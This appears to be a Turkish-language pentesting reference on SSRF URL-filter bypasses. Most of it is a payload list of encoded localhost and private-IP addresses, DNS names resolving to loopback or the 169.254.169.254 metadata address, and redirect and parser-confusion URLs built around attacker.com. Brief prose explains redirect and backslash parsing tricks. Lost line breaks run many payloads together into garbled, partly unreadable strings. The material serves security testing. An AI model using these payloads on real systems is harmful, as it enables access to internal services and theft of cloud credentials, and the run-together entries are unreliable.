# Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://127.000000000000000.1http://0http:@0/-->http://localhost/http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/SMTPhttp://[::]:3128/Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪# CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0# Dot bypass127。0。0。1127%E3%80%820%E3%80%820%E3%80%821# Decimal bypasshttp://2130706433/=http://127.0.0.1http://3232235521/=http://192.168.0.1http://3232235777/=http://192.168.1.1# Octal Bypasshttp://0177.0000.0000.0001http://00000177.00000000.00000000.00000001http://017700000001# Hexadecimal bypass127.0.0.1=0x7f000001http://0x7f000001/=http://127.0.0.1http://0xc0a80014/=http://192.168.0.200x7f.0x00.0x00.0x010x0000007f.0x00000000.0x00000000.0x00000001# Add 0s bypass127.000000000000.1# You can also mix different encoding formats# https://www.silisoftware.com/tools/ipconverter.php# Malformed and rarelocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# DNS to localhostlocaltest.me=127.0.0.1customer1.app.localhost.my.company.127.0.0.1.nip.io=127.0.0.1mail.ebc.apple.com=127.0.0.6 (localhost)127.0.0.1.nip.io=127.0.0.1 (Resolves tothegivenIP)www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us=Resolvestowww.google.comhttp://customer1.app.localhost.my.company.127.0.0.1.nip.iohttp://bugbounty.dod.network=127.0.0.2 (localhost)1ynrnhl.xip.io==169.254.169.254spoofed.burpcollaborator.net=127.0.0.1
Burp eklentisiBurp-Encode-IP IP formatlama atlatmalarını uygular.
# Try also to change attacker.com for 127.0.0.1 to try to access localhost# Try replacing https by http# Try URL-encoded charactershttps://{domain}@attacker.comhttps://{domain}.attacker.comhttps://{domain}%6D@attacker.comhttps://attacker.com/{domain}https://attacker.com/?d={domain}https://attacker.com#{domain}https://attacker.com@{domain}https://attacker.com#@{domain}https://attacker.com%23@{domain}https://attacker.com%00{domain}https://attacker.com%0A{domain}https://attacker.com?{domain}https://attacker.com///{domain}https://attacker.com\{domain}/https://attacker.com;https://{domain}https://attacker.com\{domain}/https://attacker.com\.{domain}https://attacker.com/.{domain}https://attacker.com\@@{domain}https://attacker.com:\@@{domain}https://attacker.com#\@{domain}https://attacker.com\anything@{domain}/https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com# On each IP position try to put 1 attackers domain and the others the victim domainhttp://1.1.1.1&@2.2.2.2#@3.3.3.3/#Parameter pollutionnext={domain}&next=attacker.com
Paths and Extensions Bypass
Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa veya bir yol içermesi gerekiyorsa, aşağıdaki atlatmalardan birini deneyebilirsiniz:
The tool recollapse belirli bir girdi üzerinden varyasyonlar üretebilir ve kullanılan regex'i atlatmaya çalışabilir. Daha fazla bilgi için bu yazıya da göz atın.
Automatic Custom Wordlists
Portswigger'dan URL doğrulama atlatma kılavuzu web uygulamasını kontrol edin; burada izin verilen host'u ve saldırganın host'unu girebilir ve sizin için denemek üzere bir URL listesi oluşturacaktır. Ayrıca URL'yi bir parametre, Host başlığı veya CORS başlığı içinde kullanıp kullanamayacağınızı da dikkate alır.
Bypass via redirect
Sunucunun bir SSRF'nin orijinal isteğini filtreliyor olması ama bu isteğe yönelik olası bir yönlendirme yanıtını filtrelemiyor olması mümkün olabilir.
Örneğin, url=https://www.google.com/ üzerinden SSRF'ye karşı savunmasız bir sunucu url parametresini filtreliyor olabilir. Ancak, yönlendirmek istediğiniz yere bir 302 yanıtı vermek için bir python sunucusu kullanırsanız, 127.0.0.1 gibi filtrelenmiş IP adreslerine veya hatta gopher gibi filtrelenmiş protokollereerişebilirsiniz.
Bu rapora göz atın.
Ters eğik çizgi hilesi, WHATWG URL Standardı ile RFC3986 arasındaki bir farkı kullanır. RFC3986, URI'ler için genel bir çerçeve iken, WHATWG web URL'lerine özgüdür ve modern tarayıcılar tarafından benimsenmiştir. Ana ayrım, WHATWG standardının ters eğik çizgiyi (\) ileri eğik çizgiye (/) eşdeğer olarak tanımasında yatmaktadır; bu, URL'lerin nasıl ayrıştırıldığını etkiler ve özellikle bir URL'deki ana bilgisayardan yola geçişi işaret eder.